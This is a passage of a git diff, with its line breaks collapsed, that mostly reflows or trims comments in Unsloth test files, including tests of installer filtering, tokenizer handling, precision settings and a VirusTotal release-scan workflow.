`Usage: python -m unsloth_cli` in+ # every usage and error string.assert 'prog_name = "unsloth"' in source- # The generated console script is `sys.exit(app())`. Typer raises SystemExit- # itself today, so both spellings agree, but a returned value has to become- # the exit status here too or they stop agreeing the moment one exists.+ # The generated console script is `sys.exit(app())`.assert "sys.exit(unsloth_cli.app(" in source@@ -335,8 +329,8 @@ def test_every_advertised_module_route_is_isolated():for line in source.splitlines():if "-m unsloth_cli" not in line:continue- # click prints its own `Usage: python -m unsloth_cli` when prog_name is- # missing; that is the symptom being described, not a command we offer.+ # click prints its own `Usage: python -m unsloth_cli` when prog_name is missing; that is the symptom being+ # described, not a command we offer.if "Usage:" in line:continueassert "-I -m unsloth_cli" in line, f"{name}: unisolated module route: {line.strip()}"@@ -353,7 +347,6 @@ def test_the_module_docstring_documents_the_user_site_exception():source = (_REPO_PACKAGE / "__main__.py").read_text(encoding = "utf-8")assert "pip install --user" in sourceassert "-I implies -s" in source- # The escape hatch it points at has to be the real one.assert ("sys.path[:1] = [x for x in sys.path[:1] if getattr(sys.flags, 'safe_path', False) or x not in ('', os.getcwd())]"in sourcediff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.pyindex 591bd53e481..3b8e9f0245a 100644--- a/tests/python/test_no_torch_filtering.py+++ b/tests/python/test_no_torch_filtering.py@@ -13,13 +13,11 @@ from unittest import mockimport pytest-# Add the studio directory so install_python_stack is importable.STUDIO_DIR = Path(__file__).resolve().parents[2] / "studio"sys.path.insert(0, str(STUDIO_DIR))import install_python_stack as ips-# Paths to the REAL requirements filesREQ_ROOT = Path(__file__).resolve().parents[2] / "studio" / "backend" / "requirements"EXTRAS_TXT = REQ_ROOT / "extras.txt"EXTRAS_NO_DEPS_TXT = REQ_ROOT / "extras-no-deps.txt"@@ -159,7 +157,6 @@ class TestFilterRequirements:numpy""",)- # Filter Windows packages, then NO_TORCH packages.intermediate = ips._filter_requirements(req, ips.WINDOWS_SKIP_PACKAGES)result = ips._filter_requirements(Path(intermediate), ips.NO_TORCH_SKIP_PACKAGES)lines = Path(result).read_text(encoding = "utf-8").splitlines()@@ -226,10 +223,9 @@ class TestRealRequirementsFiltering:pytest.skip("extras-no-deps.txt not found in repo")self._created = []yield- # Only what this test made. These land in the REAL requirements directory, and- # the previous version deleted everything that appeared since its own snapshot,- # so under pytest-xdist one test's teardown removed a file another worker was- # still reading and that test failed with FileNotFoundError.+ # Only what this test made. These land in the REAL requirements directory, and the previous version deleted+ # everything that appeared since its own snapshot, so under pytest-xdist one test's teardown removed a file+ # another worker was still reading and that test failed with FileNotFoundError.for path in self._created:Path(path).unlink(missing_ok = True)@@ -250,13 +246,11 @@ class TestRealRequirementsFiltering:filtered = self._non_blank_non_comment(Path(result))original = self._non_blank_non_comment(EXTRAS_TXT)- # Every NO_TORCH skip package present in extras.txt must be gone.for pkg in ips.NO_TORCH_SKIP_PACKAGES:assert not any(l.lower().startswith(pkg) for l in filtered), f"{pkg} should be removed from extras.txt"- # Everything else must remain.expected = [lfor l in original@@ -495,8 +489,6 @@ class TestInstallPythonStackSubprocessMock:prefix = f".{Path(filename).stem}-filtered-"return any("-r" in cmd and prefix in cmd for cmd in cmds)- # -- NO_TORCH=True, IS_MACOS=True (Intel Mac scenario) ---def test_no_torch_macos_skips_overrides(self):"""With NO_TORCH=True, overrides.txt pip_install must NOT be called."""cmds = self._capture_install(no_torch = True, is_macos = True, is_windows = False)@@ -527,8 +519,6 @@ class TestInstallPythonStackSubprocessMock:) or self._cmds_contain_filtered_file(cmds, "extras-no-deps.txt")assert has_extras_nd, "extras-no-deps.txt (or its filtered temp) should be called"- # -- IS_WINDOWS=True + NO_TORCH=True (stacked) ---def test_windows_no_torch_skips_overrides(self):"""Windows+NO_TORCH: overrides.txt must be skipped."""cmds = self._capture_install(no_torch = True, is_macos = False, is_windows = True)@@ -543,8 +533,6 @@ class TestInstallPythonStackSubprocessMock:cmds, "triton-kernels.txt"), "triton-kernels.txt should be skipped on Windows"- # -- Normal Linux path (NO_TORCH=False, IS_MACOS=False, IS_WINDOWS=False) ---def test_normal_linux_includes_overrides(self):"""Normal Linux: torchao override step runs (via --reinstall, not overrides.txt)."""cmds = self._capture_install(no_torch = False, is_macos = False, is_windows = False)@@ -573,8 +561,6 @@ class TestInstallPythonStackSubprocessMock:cmds, "extras-no-deps.txt"), "extras-no-deps.txt should be called on normal Linux"- # -- Windows-only (NO_TORCH=False) to verify triton is still skipped ---def test_windows_only_skips_triton(self):"""Windows (without NO_TORCH): triton still skipped."""cmds = self._capture_install(no_torch = False, is_macos = False, is_windows = True)@@ -589,8 +575,6 @@ class TestInstallPythonStackSubprocessMock:"--reinstall" in cmd for cmd in cmds), "overrides step (--reinstall) should be called on Windows when NO_TORCH=False"- # -- Update path (skip_base=False) to verify no-torch mode is durable ---def test_update_path_intel_macos_still_skips_overrides(self):"""Update path (no SKIP_STUDIO_BASE): overrides still skipped on Intel Mac."""cmds = self._capture_install(@@ -610,7 +594,6 @@ class TestInstallPythonStackSubprocessMock:), "triton-kernels.txt should be skipped on macOS even via studio update"# -- The harness above must not write the venv it is running in ---def test_the_harness_never_writes_the_running_venv_root(self):"""install_python_stack() drops, marks and rewrites the manifest for real here.@@ -636,8 +619,8 @@ class TestInstallPythonStackSubprocessMock:f"the installer harness wrote {real_root}, which every worker in this run ""shares; give install_manifest.venv_root a contained root instead")- # Non-vacuous: the writes must have landed somewhere, or an install that returned- # early and wrote nothing at all would pass this too.+ # Non-vacuous: the writes must have landed somewhere, or an install that returned early and wrote nothing at all+ # would pass this too.contained = ips.install_manifest.venv_root()assert contained != real_root, "venv_root was never contained"assert (contained / ips.install_manifest.MANIFEST_NAME).is_file(), (@@ -790,7 +773,6 @@ class TestInstallShNoTorchFlag:)assert "HINT_PRINTED" in result.stdout, "CPU hint should print"- # With SKIP_TORCH=true, hint should NOT printscript2 = script.replace("SKIP_TORCH=false", "SKIP_TORCH=true")result2 = subprocess.run(["bash", "-c", script2],diff --git a/tests/python/test_orpo_processor_text_tokenizer.py b/tests/python/test_orpo_processor_text_tokenizer.pyindex 84bfe60bb07..6ceb1c291d5 100644--- a/tests/python/test_orpo_processor_text_tokenizer.py+++ b/tests/python/test_orpo_processor_text_tokenizer.py@@ -221,8 +221,7 @@ def __init__(self, processing_class):rewritten = rewriter("__init__", source)class _Tokenizer:- # Inner tokenizer must NOT be consulted when the processor exposes- # pad_token_id itself.+ # Inner tokenizer must NOT be consulted when the processor exposes pad_token_id itself.pad_token_id = 999class _Processor:diff --git a/tests/python/test_remove_special_tokens_no_bos.py b/tests/python/test_remove_special_tokens_no_bos.pyindex 94c5ea3027c..8f630e3e7fc 100644--- a/tests/python/test_remove_special_tokens_no_bos.py+++ b/tests/python/test_remove_special_tokens_no_bos.py@@ -3,9 +3,7 @@ from pathlib import Pathdef _load_remove_special_tokens():- # Extract remove_special_tokens without importing unsloth (importing unsloth- # needs unsloth_zoo / a GPU). The function is pure Python and uses no imports,- # so it execs cleanly in an empty namespace.+ # Extract remove_special_tokens without importing unsloth (importing unsloth needs unsloth_zoo / a GPU).source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"tree = ast.parse(source.read_text(encoding = "utf-8"))funcs = [@@ -26,10 +24,6 @@ class _StubTokenizer:def test_no_bos_tokenizer_does_not_crash():- # Tokenizers such as Qwen2 / Qwen2.5, GPT-2, Falcon and GPT-NeoX have no BOS- # token, so tokenizer.bos_token is None. remove_special_tokens must leave the- # prompt untouched instead of raising- # "TypeError: startswith first arg must be str or a tuple of str, not NoneType".remove_special_tokens = _load_remove_special_tokens()assert remove_special_tokens(_StubTokenizer(None), "Hello world") == "Hello world"@@ -41,6 +35,5 @@ def test_double_bos_is_stripped():def test_prompt_without_leading_bos_unchanged():- # A BOS-bearing tokenizer leaves a prompt that does not start with BOS alone.remove_special_tokens = _load_remove_special_tokens()assert remove_special_tokens(_StubTokenizer("<s>"), "Hello world") == "Hello world"diff --git a/tests/python/test_revision_forwarding.py b/tests/python/test_revision_forwarding.pyindex 420cb12fa4d..2538b27cf47 100644--- a/tests/python/test_revision_forwarding.py+++ b/tests/python/test_revision_forwarding.py@@ -183,8 +183,8 @@ def test_revision_survives_when_the_repo_is_unchanged():],)def test_revision_is_dropped_once_the_repo_is_remapped(model_name, old_model_name):- # The ref only exists on the repo the caller named: elsewhere it 404s or, worse,- # resolves a same-named branch on a different repo.+ # The ref only exists on the repo the caller named: elsewhere it 404s or, worse, resolves a same-named branch on a+ # different repo.assert _load_gate()("abc123", model_name, old_model_name) is None@@ -263,7 +263,6 @@ def test_both_loader_paths_gate_before_and_after_resolution():keyword = _revision_kwarg(probe)if keyword is None:continue # the PEFT base-model probe deliberately pins nothing- # adapter_revision is the same gated value, taken before the vLLM drop.assert getattr(keyword.value, "id", None) in ("base_revision","adapter_revision",diff --git a/tests/python/test_rl_config_pickling.py b/tests/python/test_rl_config_pickling.pyindex ed4623aeef2..456b9b91d54 100644--- a/tests/python/test_rl_config_pickling.py+++ b/tests/python/test_rl_config_pickling.py@@ -55,8 +55,8 @@ def test_patched_config_answers_to_the_trl_name(patched):def test_pristine_config_instance_still_pickles(patched, tmp_path):- # An instance built before Unsloth patched TRL, or handed back by TRL's own- # TrainingArguments -> SFTConfig conversion, belongs to the pristine class.+ # An instance built before Unsloth patched TRL, or handed back by TRL's own TrainingArguments -> SFTConfig+ # conversion, belongs to the pristine class.pristine = patched.__mro__[1]assert not pristine.__name__.startswith("Unsloth")@@ -94,10 +94,9 @@ def test_checkpoint_loads_without_unsloth(patched, tmp_path):torch.save(_make(patched, tmp_path), path)script = (- # Baseline FIRST, so this measures what the load drags in rather than what the- # interpreter already had. An editable install of unsloth puts its own import- # finder (__editable___unsloth_..._finder) into sys.modules at startup, which- # answers to a name test but says nothing about the checkpoint.+ # Baseline FIRST, so this measures what the load drags in rather than what the interpreter already had.+ # An editable install of unsloth puts its own import finder (__editable___unsloth_..._finder) into sys.modules+ # at startup, which answers to a name test but says nothing about the checkpoint."import sys\n""preloaded = set(sys.modules)\n""import json, torch\n"@@ -147,8 +146,8 @@ def test_training_arguments_conversion_keeps_unsloth_fields(patched, tmp_path):source = inspect.getsource(generated._UnslothSFTTrainer.__init__)if "dict_args" not in source:pytest.skip("this TRL release does not convert TrainingArguments inline")- # The conversion must not name the bare TRL class: that global was imported- # before the patching and so still points at the pristine class.+ # The conversion must not name the bare TRL class: that global was imported before the patching and so still points+ # at the pristine class.assert "args = UnslothSFTConfig(**dict_args)" in source, source[:2000]training_arguments = TrainingArguments(@@ -180,7 +179,6 @@ def test_every_patched_config_pickles_portably(tmp_path):try:args = config_class(output_dir = str(tmp_path))except TypeError:- # Not a TrainingArguments-shaped config (ModelConfig and friends).continuepickle.dumps(args, protocol = 2)assert not config_class.__module__.startswith("Unsloth"), (diff --git a/tests/python/test_studio_runtime_gate.py b/tests/python/test_studio_runtime_gate.pyindex 60eca5a00c2..a698a9193f3 100644--- a/tests/python/test_studio_runtime_gate.py+++ b/tests/python/test_studio_runtime_gate.py@@ -343,8 +343,8 @@ def test_idle_scan_excludes_verified_launcher_and_blocks_another_managed_image(@pytest.mark.skipif(os.name != "nt", reason = "Windows process inspection is required")def test_idle_scan_excludes_the_venv_python_redirector(tmp_path, monkeypatch):- # install.ps1 runs `Scripts\unsloth.exe studio setup` and Tauri runs the venv- # interpreter, so both arrive through the redirector and would self-block.+ # install.ps1 runs `Scripts\unsloth.exe studio setup` and Tauri runs the venv interpreter, so both arrive through+ # the redirector and would self-block.studio_home = tmp_path / "studio"scripts = studio_home / "unsloth_studio" / "Scripts"managed_python = scripts / "python.exe"diff --git a/tests/python/test_to_sharegpt_optional_none.py b/tests/python/test_to_sharegpt_optional_none.pyindex 6b122d4e89a..35e61142130 100644--- a/tests/python/test_to_sharegpt_optional_none.py+++ b/tests/python/test_to_sharegpt_optional_none.py@@ -4,9 +4,8 @@ from pathlib import Pathdef _load_formatter_builders():- # Extract _parse_combined_prompt and _create_formatter without importing- # unsloth (importing unsloth needs unsloth_zoo / a GPU). Both are pure- # Python and only use the `re` module.+ # Extract _parse_combined_prompt and _create_formatter without importing unsloth (importing unsloth needs+ # unsloth_zoo / a GPU).source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"tree = ast.parse(source.read_text(encoding = "utf-8"))wanted = {"_parse_combined_prompt", "_create_formatter"}@@ -56,8 +55,8 @@ def test_optional_block_all_columns_present_unchanged():def test_optional_block_gating_column_empty_is_dropped():- # When the gating (first) column is empty the whole block is omitted; this- # behaviour is unchanged by the None coercion.+ # When the gating (first) column is empty the whole block is omitted; this behaviour is unchanged by the None+ # coercion.merged_prompt = "Location: [[{city}, {country}]] end"out = _render(merged_prompt,@@ -68,17 +67,14 @@ def test_optional_block_gating_column_empty_is_dropped():def test_single_column_optional_block_gated_out_on_none():- # Single-column blocks were already gated correctly (the sole column is the- # gate); confirm they stay unaffected.merged_prompt = "Name: [[{name}]]!"out = _render(merged_prompt, ["name"], {"name": [None, "Bob"]})assert out == ["Name: !", "Name: Bob!"]def test_required_column_none_does_not_render_none():- # A required (non-[[...]]) column that is None must not render as the- # literal "None" either; coercion happens at the row source, so both the- # required and optional branches are covered.+ # A required (non-[[...]]) column that is None must not render as the literal "None" either; coercion happens at the+ # row source, so both the required and optional branches are covered.merged_prompt = "Location: {city}, {country} end"out = _render(merged_prompt,@@ -98,8 +94,7 @@ def test_optional_block_falsy_but_present_gating_value_still_renders():def _load_to_sharegpt():- # Same trick as above: pull to_sharegpt and the two helpers it calls out of- # the source without importing unsloth.+ # Same trick as above: pull to_sharegpt and the two helpers it calls out of the source without importing unsloth.source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"tree = ast.parse(source.read_text(encoding = "utf-8"))wanted = {"_parse_combined_prompt", "_create_formatter", "to_sharegpt"}@@ -124,9 +119,6 @@ def _alpaca():def test_default_merged_prompt_keeps_the_input_column():- # merged_prompt is optional: without one, merged_column_name names a column- # that is already there. The merging map used to run anyway and overwrite it- # with empty strings, so every human turn came out blank.to_sharegpt = _load_to_sharegpt()converted = to_sharegpt(_alpaca())users = [row["conversations"][0]["value"] for row in converted]@@ -136,6 +128,7 @@ def test_default_merged_prompt_keeps_the_input_column():def test_default_merged_prompt_with_renamed_columns():from datasets import Dataset+ # merged_prompt is optional: without one, merged_column_name names a column that is already there.to_sharegpt = _load_to_sharegpt()dataset = Dataset.from_dict({"Query": ["123?"], "Answer": ["456"]})converted = to_sharegpt(diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.pyindex 5886208d034..6c884bc2f3a 100644--- a/tests/python/test_tokenizers_and_torch_constraint.py+++ b/tests/python/test_tokenizers_and_torch_constraint.py@@ -193,10 +193,10 @@ class TestInstallShUvDefaultIndex:assert '--default-index "$TORCH_INDEX_URL"' in self._shdef test_torch_installs_do_not_use_deprecated_index_url(self):- # uv deprecated --index-url in favour of --default-index; pip never had it, so the XPU- # triton pre-fetch (`pip download`) legitimately uses --index-url. Checked per- # occurrence so a uv invocation still cannot slip one through. Backslash continuations- # are joined first, since the flag and its command are often on different lines.+ # uv deprecated --index-url in favour of --default-index; pip never had it, so the XPU triton pre-fetch+ # (`pip download`) legitimately uses --index-url. Checked per occurrence so a uv invocation still cannot slip+ # one through. Backslash continuations are joined first, since the flag and its command are often on+ # different lines.joined = self._sh.replace("\\\n", " ")offenders = [" ".join(line.split())@@ -436,10 +436,9 @@ class TestTorchConstraintShell:logged = log_file.read_text()assert "torch>=2.4,<2.11.0" in logged, f"uv log: {logged}"- # Mirrors the _torch_index_leaf case in install.sh: rocm7.2 -> 2.11.x floor,- # CUDA -> widened <2.12.0 ceiling, else (CPU/older ROCm) -> default. Anchored- # on the final path segment, so a mirror base path containing cu*/rocm7.2 but- # ending in a cpu/older-rocm leaf keeps the default.+ # Mirrors the _torch_index_leaf case in install.sh: rocm7.2 -> 2.11.x floor, CUDA -> widened <2.12.0 ceiling, else+ # (CPU/older ROCm) -> default. Anchored on the final path segment, so a mirror base path containing cu*/rocm7.2+ # but ending in a cpu/older-rocm leaf keeps the default._INDEX_SNIPPET = textwrap.dedent(r"""#!/bin/bashset -e@@ -497,8 +496,8 @@ class TestTorchConstraintShell:],)def test_cuda_in_mirror_path_but_noncuda_leaf_keeps_default(self, tmp_path, url):- # A cu128 in the mirror base path must not widen when the leaf is cpu /- # older ROCm: the case anchors on _torch_index_leaf, not the whole URL.+ # A cu128 in the mirror base path must not widen when the leaf is cpu / older ROCm: the case anchors on+ # _torch_index_leaf, not the whole URL.assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.11.0"diff --git a/tests/python/test_unsloth_run_tool_policy_resolver.py b/tests/python/test_unsloth_run_tool_policy_resolver.pyindex 77c2f27ca4b..44ca87d9494 100644--- a/tests/python/test_unsloth_run_tool_policy_resolver.py+++ b/tests/python/test_unsloth_run_tool_policy_resolver.py@@ -55,8 +55,8 @@ class TestLocalhostHost:class TestZeroHost:def test_default_is_unset(self):- # A network bind installs no override, so the Unsloth UI's tool pills (which- # send enable_tools: false when all off) are honored rather than overridden.+ # A network bind installs no override, so the UI's tool pills (which send enable_tools: false when all+ # off) are honored rather than overridden.assert (resolve_tool_policy(host = "0.0.0.0",diff --git a/tests/python/test_v100_fullft_precision.py b/tests/python/test_v100_fullft_precision.pyindex 02f2ec572e4..9b320ac1518 100644--- a/tests/python/test_v100_fullft_precision.py+++ b/tests/python/test_v100_fullft_precision.py@@ -114,7 +114,7 @@ def test_v100_normal_fullft_fp16_explicit():bf16 = False,)assert raised is None- assert (fp16, bf16) == (True, False) # float32 weights + fp16 forward+ assert (fp16, bf16) == (True, False)def test_v100_normal_fullft_precision_unset():@@ -194,11 +194,10 @@ def test_genuine_bf16_model_with_fp16_still_raises():def test_explicit_bf16_exports_bf16_env():- # Issue #4891: bfloat16 model, user explicitly sets bf16=True. The env var- # must still be exported: downstream readers (unsloth_zoo/rl_replacements.py- # and unsloth/models/rl_replacements.py) default ACCELERATE_MIXED_PRECISION- # to 'fp16' when it is unset, which wraps a bfloat16 model in a float16- # autocast and crashes GRPO inside matmul_lora.+ # Issue #4891: bfloat16 model, user explicitly sets bf16=True.+ # The env var must still be exported: downstream readers (unsloth_zoo/rl_replacements.py and+ # unsloth/models/rl_replacements.py) default ACCELERATE_MIXED_PRECISION to 'fp16' when it is unset, which wraps a+ # bfloat16 model in a float16 autocast and crashes GRPO inside matmul_lora.fp16, bf16, amp, raised = _decide(torch.bfloat16,bf16_supported = True,@@ -246,8 +245,8 @@ def test_force_float32_beats_explicit_bf16():def test_unsloth_mixed_precision_bfloat16_beats_explicit_bf16():- # UNSLOTH_MIXED_PRECISION='bfloat16' (pure bf16 full FT, no autocast) must- # keep precedence over the explicit-flag export.+ # UNSLOTH_MIXED_PRECISION='bfloat16' (pure bf16 full FT, no autocast) must keep precedence over the explicit-flag+ # export.fp16, bf16, amp, raised = _decide(torch.bfloat16,bf16_supported = True,diff --git a/tests/python/test_virustotal_scan.py b/tests/python/test_virustotal_scan.pyindex cd16834a580..200f1e3d812 100644--- a/tests/python/test_virustotal_scan.py+++ b/tests/python/test_virustotal_scan.py@@ -167,8 +167,8 @@ class TestMissingKey:assert "Skipped: no API key" in summary.read_text()out = capsys.readouterr().outassert "skipping the scan" in out- # The message spells VT_API_KEY out literally to avoid a CodeQL- # false positive, so pin that it still matches the constant.+ # The message spells VT_API_KEY out literally to avoid a CodeQL false positive, so pin that it still matches the+ # constant.assert vt.API_KEY_ENV in outdef test_whitespace_only_key_is_treated_as_missing(self, tmp_path, monkeypatch):@@ -233,7 +233,8 @@ class TestHashLookupFirst:assert report.source == "known to VirusTotal (no upload)"assert report.stats.malicious == 1assert report.detections == ["AlphaAV (X)"]- # Exactly one call: the lookup. No upload_url, no upload, no polling.+ # Exactly one call: the lookup.+ # No upload_url, no upload, no polling.assert len(transport.calls) == 1def test_unknown_hash_falls_through_to_upload(self, tmp_path):@@ -479,9 +480,8 @@ class TestRenderMarkdown:assert "AlphaAV (Trojan)" in textdef test_a_flagged_asset_gets_a_submission_packet(self):- # The build job only ever assembled a packet for the Windows -setup.exe, so the one- # detection that actually arrived -- Trojan:Script/Wacatac.B!ml on the Linux AppImage --- # produced nothing to submit.+ # The build job only ever assembled a packet for the Windows -setup.exe, so the one detection that actually+ # arrived -- Trojan:Script/Wacatac.B!ml on the Linux AppImage -- produced nothing to submit.text = vt.render_markdown([vt.FileReport(@@ -501,9 +501,8 @@ class TestRenderMarkdown:assert "wdsi/filesubmission" in textdef test_a_flagged_asset_with_no_readable_engine_list_still_gets_a_packet(self):- # stats and results are separate fields of the same response. The table reports the- # count, so the packet has to key on the same thing or it skips the one asset that- # needs one.+ # stats and results are separate fields of the same response. The table reports the count, so the packet has+ # to key on the same thing or it skips the one asset that needs one.text = vt.render_markdown([vt.FileReport(@@ -702,8 +701,8 @@ class TestNoCompletedAnalysis:return reportdef test_a_completed_analysis_is_trusted_without_engine_counts(self):- # The upload path polls until status == "completed", so a stats dict is- # authoritative there even if the counts are all zero.+ # The upload path polls until status == "completed", so a stats dict is authoritative there even if the counts+ # are all zero.report = self._report(({"malicious": 0}, {}), completed = True)assert report.stats is not Noneassert report.source == "known to VirusTotal (no upload)"@@ -930,24 +929,20 @@ class TestWorkflowOrdering:return argv[argv.index("scripts/virustotal_scan.py") + 1 :]def test_the_scan_is_its_own_job_gated_on_publish_release(self):- # Pins the post-publish ordering rather than merely tolerating it: the- # job must exist and must be downstream of publish-release, so dropping- # either the job or the `needs` turns this red.+ # Pins the post-publish ordering rather than merely tolerating it: the job must exist and must be downstream+ # of publish-release, so dropping either the job or the `needs` turns this red.job = self._scan_job()assert job["needs"] == ["publish-release"]def test_the_scan_job_is_not_conditioned_away(self):- # `needs:` alone carries GitHub's default `success()` gating, so whether- # the scan runs is decided by publish-release and nothing else. The job- # therefore carries no `if:` at all, and this rejects every one rather- # than trying to sort the safe conditions from the unsafe.+ # `needs:` alone carries GitHub's default `success()` gating, so whether the scan runs is decided by+ # publish-release and nothing else. The job therefore carries no `if:` at all, and this rejects every one+ # rather than trying to sort the safe conditions from the unsafe.#- # Sorting them does not work. A job-level `if:` fails in both directions:- # `always()` or `success() || inputs.scan_anyway` sends build artifacts- # to a third party after a publish that failed, while `${{ false }}` or- # `success() && <anything falsey>` silently skips the sweep after a- # publish that succeeded. Any rule permissive enough to admit an- # arbitrary trailing predicate admits the second kind, so the contract+ # Sorting them does not work. A job-level `if:` fails in both directions: `always()` or+ # `success() || inputs.scan_anyway` sends build artifacts to a third party after a publish that failed, while+ # `${{ false }}` or `success() && <anything falsey>` silently skips the sweep after a publish that succeeded.+ # Any rule permissive enough to admit an arbitrary trailing predicate admits the second kind, so the contract# is simply that reaching this job is `needs:`'s decision alone.job = self._scan_job()assert "if" not in job, (@@ -956,8 +951,8 @@ class TestWorkflowOrdering:"after one, and `needs:` already gates it correctly")- # Nor may the individual steps be skipped, except the summary, which is- # `if: always()` precisely so the evidence survives a failed scan.+ # Nor may the individual steps be skipped, except the summary, which is `if: always()` precisely so the evidence+ # survives a failed scan.for step in job["steps"]:condition = step.get("if")if step.get("name") == "Publish VirusTotal summary":@@ -966,10 +961,9 @@ class TestWorkflowOrdering:assert condition is None, step.get("name")def test_the_scan_scans_the_bundles_that_were_published(self):- # The job has no build outputs of its own, so it re-downloads the very- # artifacts the build matrix uploaded and publish-release shipped. A- # pattern that matched nothing would scan an empty directory and still- # report success.+ # The job has no build outputs of its own, so it re-downloads the very artifacts the build matrix uploaded and+ # publish-release shipped. A pattern that matched nothing would scan an empty directory and still report+ # success.build = self._workflow()["jobs"]["build"]upload_names = {step.get("with", {}).get("name")@@ -982,9 +976,8 @@ class TestWorkflowOrdering:assert download["uses"].startswith("actions/download-artifact@")assert download["with"]["merge-multiple"] is True- # Tie the scan's input to publish-release's own download rather than to- # a literal repeated in both places: if publish ever ships a different- # artifact set, a scan still pulling the old pattern leaves the shipped+ # Tie the scan's input to publish-release's own download rather than to a literal repeated in both places: if+ # publish ever ships a different artifact set, a scan still pulling the old pattern leaves the shipped# installers unscanned and still reports a clean sweep.publish_download = next(step@@ -1001,9 +994,8 @@ class TestWorkflowOrdering:publish_download["with"]["path"]), (download["with"]["path"], publish_download["with"]["path"])- # And the scan has to be pointed at that same directory. The script takes- # its target as an argument, so comparing only the two download steps- # lets a repointed argument scan an empty directory and report clean.+ # And the scan has to be pointed at that same directory. The script takes its target as an argument, so+ # comparing only the two download steps lets a repointed argument scan an empty directory and report clean.argv = self._scan_script_argv()scan_paths = list(itertools.takewhile(lambda argument: not argument.startswith("-"), argv))assert scan_paths, argv@@ -1011,8 +1003,8 @@ class TestWorkflowOrdering:self._runner_temp(download["with"]["path"])], (argv, download["with"]["path"])- # And that shared pattern has to match what the matrix actually uploads,- # or both jobs would agree on a set that does not exist.+ # And that shared pattern has to match what the matrix actually uploads, or both jobs would agree on a set that+ # does not exist.template = "desktop-release-${{ matrix.artifact }}"for entry in build["strategy"]["matrix"]["include"]:artifact = template.replace("${{ matrix.artifact }}", entry["artifact"])@@ -1025,34 +1017,31 @@ class TestWorkflowOrdering:assert names.index("Download published assets") < names.index("VirusTotal scan")def test_the_publish_job_no_longer_runs_the_scan(self):- # #8194 moved the scan out wholesale. Re-inlining it would put ~9 minutes- # back into the critical path of every release for a check that cannot- # block one, and would leave two scans burning the same 4/min quota.+ # #8194 moved the scan out wholesale. Re-inlining it would put ~9 minutes back into the critical path of every+ # release for a check that cannot block one, and would leave two scans burning the same 4/min quota.for step in self._publish_step_list():assert "virustotal" not in (step.get("name") or "").lower()assert "virustotal_scan.py" not in (step.get("run") or "")def test_nothing_slow_sits_between_validation_and_the_upload(self):- # The v{version} release already exists and is published, so the window- # worth minimising is now between validating its state and the assets- # landing on it. Nothing slow may be inserted between the two; the scan- # used to sit there and is why the window existed at all.+ # The v{version} release already exists and is published, so the window worth minimising is now between+ # validating its state and the assets landing on it. Nothing slow may be inserted between the two; the scan used+ # to sit there and is why the window existed at all.names = self._publish_steps()validate = names.index("Validate versioned release state")assert names[validate + 1] == "Generate versioned updater metadata"assert names[validate + 2] == "Publish release assets"def test_release_notes_are_written_unconditionally(self):- # Validation writes the notes; the metadata step consumes that same file- # before the assets land on the release.+ # Validation writes the notes; the metadata step consumes that same file before the assets land on the release.steps = self._publish_step_map()assert "desktop-release-notes.md" in steps["Validate versioned release state"]["run"]metadata = steps["Generate versioned updater metadata"]["run"]assert "desktop-release-notes.md" in metadatadef test_a_missing_release_stops_the_publish(self):- # Nothing is created here any more, so an absent release is a dispatch- # mistake: say how to fix it instead of publishing into thin air.+ # Nothing is created here any more, so an absent release is a dispatch mistake: say how to fix it instead of+ # publishing into thin air.run = self._publish_step_map()["Validate versioned release state"]["run"]assert "gh release create" not in runmissing = run.split("does not exist.", 1)[1]@@ -1073,11 +1062,9 @@ class TestWorkflowOrdering:assert by_name[name]["if"] == "${{ !inputs.draft }}"def test_the_scan_step_does_not_swallow_its_own_failure(self):- # The advisory posture is a property of the job, not of the step. The job- # carries `continue-on-error` so a missing secret or a VirusTotal outage- # cannot retroactively fail a release that already published; the step- # must still surface its exit status, or a broken invocation reads as a- # clean scan.+ # The advisory posture is a property of the job, not of the step. The job carries `continue-on-error` so a+ # missing secret or a VirusTotal outage cannot retroactively fail a release that already published; the step+ # must still surface its exit status, or a broken invocation reads as a clean scan.step = self._scan_step_map()["VirusTotal scan"]assert "continue-on-error" not in step@@ -1096,8 +1083,8 @@ class TestWorkflowOrdering:assert "--fail-threshold" not in rundef test_the_advisory_escape_hatch_is_confined_to_the_scan_job(self):- # `continue-on-error` anywhere else would let a genuine release failure- # pass as success. Exactly one in the file, on virustotal-scan itself.+ # `continue-on-error` anywhere else would let a genuine release failure pass as success. Exactly one in the+ # file, on virustotal-scan itself.jobs = self._workflow()["jobs"]assert self._scan_job()["continue-on-error"] is True@@ -1116,9 +1103,8 @@ class TestWorkflowOrdering:assert tolerant_steps == []def test_the_scan_job_makes_the_scan_script_available(self):- # The job publishes nothing and so has no source tree of its own; the- # sparse checkout is the only thing that puts scripts/virustotal_scan.py- # on disk. Assert the mechanism, not a step name: a checkout that stops+ # The job publishes nothing and so has no source tree of its own; the sparse checkout is the only thing that+ # puts scripts/virustotal_scan.py on disk. Assert the mechanism, not a step name: a checkout that stops# fetching the script leaves the scan unable to run at all.checkouts = [step@@ -1133,33 +1119,30 @@ class TestWorkflowOrdering:names = self._scan_step_names()assert names.index(checkout["name"]) < names.index("VirusTotal scan")- # And if it ever does not, the scan step says so loudly and exits 1- # rather than reporting a clean sweep of nothing.+ # And if it ever does not, the scan step says so loudly and exits 1 rather than reporting a clean sweep of+ # nothing.guard = self._scan_step_map()["VirusTotal scan"]["run"]assert "if [ ! -f scripts/virustotal_scan.py ]; then" in guardassert "exit 1" in guard.split("if [ ! -f scripts/virustotal_scan.py ]; then", 1)[1]def test_the_scan_verdict_is_always_reported(self):- # continue-on-error means nobody is forced to look at the job result, so- # the step summary is the report. It must be written even when the scan- # itself failed, which is exactly the case worth reading.+ # continue-on-error means nobody is forced to look at the job result, so the step summary is the report. It+ # must be written even when the scan itself failed, which is exactly the case worth reading.summary = self._scan_step_map()["Publish VirusTotal summary"]assert summary["if"] == "always()"assert "$GITHUB_STEP_SUMMARY" in summary["run"]assert "virustotal-summary.md" in summary["run"]def test_the_placeholder_summary_matches_the_real_one(self):- # The placeholder stands in when the scan produced no summary, so a- # heading that drifts from the script's renders as a second, unrelated- # section instead of the report the reader came for.+ # The placeholder stands in when the scan produced no summary, so a heading that drifts from the script's+ # renders as a second, unrelated section instead of the report the reader came for.summary = self._scan_step_map()["Publish 